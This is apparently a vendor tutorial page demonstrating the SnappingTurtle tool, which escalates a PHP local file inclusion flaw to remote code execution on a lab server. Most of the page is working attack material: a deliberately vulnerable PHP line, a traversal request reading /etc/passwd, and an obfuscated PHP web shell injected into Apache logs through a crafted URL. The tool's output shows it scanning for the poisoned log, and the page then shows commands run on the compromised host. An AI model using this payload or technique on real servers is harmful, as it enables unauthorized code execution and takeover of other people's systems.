Home
Consulting
Advisories
Software
Articles
Contact

LFI To RCE With SnappingTurtle

Overview |  Getting Started |  Documentation |  Download |  Changelog

Everybody likes remote code execution (RCE). For this example, local file inclusion (LFI) was chosen as the class of vulnerability used to attain it. Creating a PHP application that is vulnerable to LFI is frighteningly simple, taking only a single PHP statement.

<?php require $_GET['file']; ?>

For this example, the vulnerable script was hosted as lfi.php using Mint Linux and XAMPP. Accessing the file via browser without specifying the file parameter results in errors that may be familiar to some.

Notice: Undefined index: file in /opt/lampp/htdocs/lfi.php on line 1

Warning: require(): Filename cannot be empty in /opt/lampp/htdocs/lfi.php on line 1

Fatal error: require(): Failed opening required '' (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/lfi.php on line 1

Of course, there's the prototypical proof of concept: http://10.0.0.8/lfi.php?file=../../../../etc/passwd

Which might yield something like the output below.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[...]

That's a good start, but a far cry from RCE. What can be done when remote file inclusion is disabled and it's not possible to upload a file? SnappingTurtle uses log file injection, which provides a widely compatible approach. With a simple command, SnappingTurtle exploits the LFI vulnerability to achieve code execution.

C:\tools>python st.py lfi http://10.0.0.8/lfi.php -g file $lfi
SnappingTurtle Web Exploitation Tool 0.1.0323.1156
AutoSec Tools - http://autosectools.com/

[i] Exploiting local file inclusion
[i] Searching for shell
[?] http://10.0.0.8/lfi.php?file=apache%2Flogs%2Faccess.log
[?] http://10.0.0.8/lfi.php?file=apache%2Flogs%2Faccess_log
[?] http://10.0.0.8/lfi.php?file=apache%2Flogs%2Facces.log
[?] http://10.0.0.8/lfi.php?file=apache%2Flogs%2Facces_log
[...]
[?] http://10.0.0.8/lfi.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fxampp%2Fapache%2Flogs%2Facces.log
[?] http://10.0.0.8/lfi.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fxampp%2Fapache%2Flogs%2Facces_log
[?] http://10.0.0.8/lfi.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fxampp%2Fapache%2Flogs%2Ferror.log
[?] http://10.0.0.8/lfi.php?file=..%2F..%2F..%2F..%2F..%2F..%2F..%2Fxampp%2Fapache%2Flogs%2Ferror_log
[-] Shell not found
[i] Injecting shell
Url: http://10.0.0.8/lfi.php?IVPim>Nig&+#KGmb$Cmve1Bn?HMWJS<?php $e=chr((-7367748- -7367847)).chr(5595496).chr((1495546266+(-2642896+(2652891+(-1292875481-(-1292873192- -4162))))));$B=$e(2147481439).$e((-4764427+(1609589226-1604824728))).$e((6879988+(-6882968+(7812229-(-643560140-(-645704466+-5664854)))))).$e((2147483477+(-1-(2034586959-2034586959))));$J=$e((115+(-26281+(-1989-(-28270-(1+(-14105+14104))))))).$e((121+(-3328900-(-3320657+(-875147181+(875147633-(1840632970-(-268210506-(-1320407011+(-788427770+0)))))))))).$e(115).$e((5213467-5212839)).$e((820772965-(918950+(-888085-(48943-(18079+-1)))))).$e(2147483501);$a=$$B;$J($a[$e((209601028-(207301281-0))).$e(6509).$e((29853-(29753+(1111920662-(1111920661-(-1-(-13530+(13529-(26899-26900)))))))))]); ?>b.'NfYWR|zs%8-6Q?#p`
[i] Searching for shell
[?] http://10.0.0.8/lfi.php?file=apache%2Flogs%2Faccess.log
[?] http://10.0.0.8/lfi.php?file=apache%2Flogs%2Faccess_log
[?] http://10.0.0.8/lfi.php?file=apache%2Flogs%2Facces.log
[?] http://10.0.0.8/lfi.php?file=apache%2Flogs%2Facces_log
[?] http://10.0.0.8/lfi.php?file=..%2F..%2F..%2Fetc%2Fhttpd%2Flogs%2Ferror.log
[?] http://10.0.0.8/lfi.php?file=..%2F..%2F..%2Fetc%2Fhttpd%2Flogs%2Ferror_log
[?] http://10.0.0.8/lfi.php?file=..%2F..%2F..%2Fopt%2Flampp%2Flogs%2Faccess.log
[?] http://10.0.0.8/lfi.php?file=..%2F..%2F..%2Fopt%2Flampp%2Flogs%2Faccess_log
[+] Shell found
st>

The command produced in quite a bit of output, which warrants an explanation.

When first run, the LFI exploitation strategy performs what is effectively a directory traversal scan. It's looking for not just a log file to include, but a log that contains the fingerprint of an injected shell. Should SnappingTurtle fail to detect an existing shell (as it did in this example), it continues on to injection.

Log injection is performed by embedding a PHP request within a URL in such a way that it can be expected the PHP will be inserted as-is into a log. In short, this is achieved by ensuring that URL encoding is not applied to the embedded PHP.

Once the log injection has been attempted, a directory traversal scan is performed yet again. Only this time, an injected log is found in short order, and the SnappingTurtle shell has been opened, as indicated by the st> prompt.

Running a couple commands verifies that we do in fact have an active shell on the target machine.

st>whoami
[?] http://10.0.0.8/lfi.php?file=..%2F..%2F..%2Fopt%2Flampp%2Flogs%2Faccess_log&cmd=whoami
daemon

st>ls /
[?] http://10.0.0.8/lfi.php?file=..%2F..%2F..%2Fopt%2Flampp%2Flogs%2Faccess_log&cmd=ls+%2F
bin
boot
cdrom
dev
etc
home
htdocs
initrd.img
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
Having successfully comprpomised the target, we are now free to run OS commands as daemon.



Copyright © 2018 AutoSec Tools LLC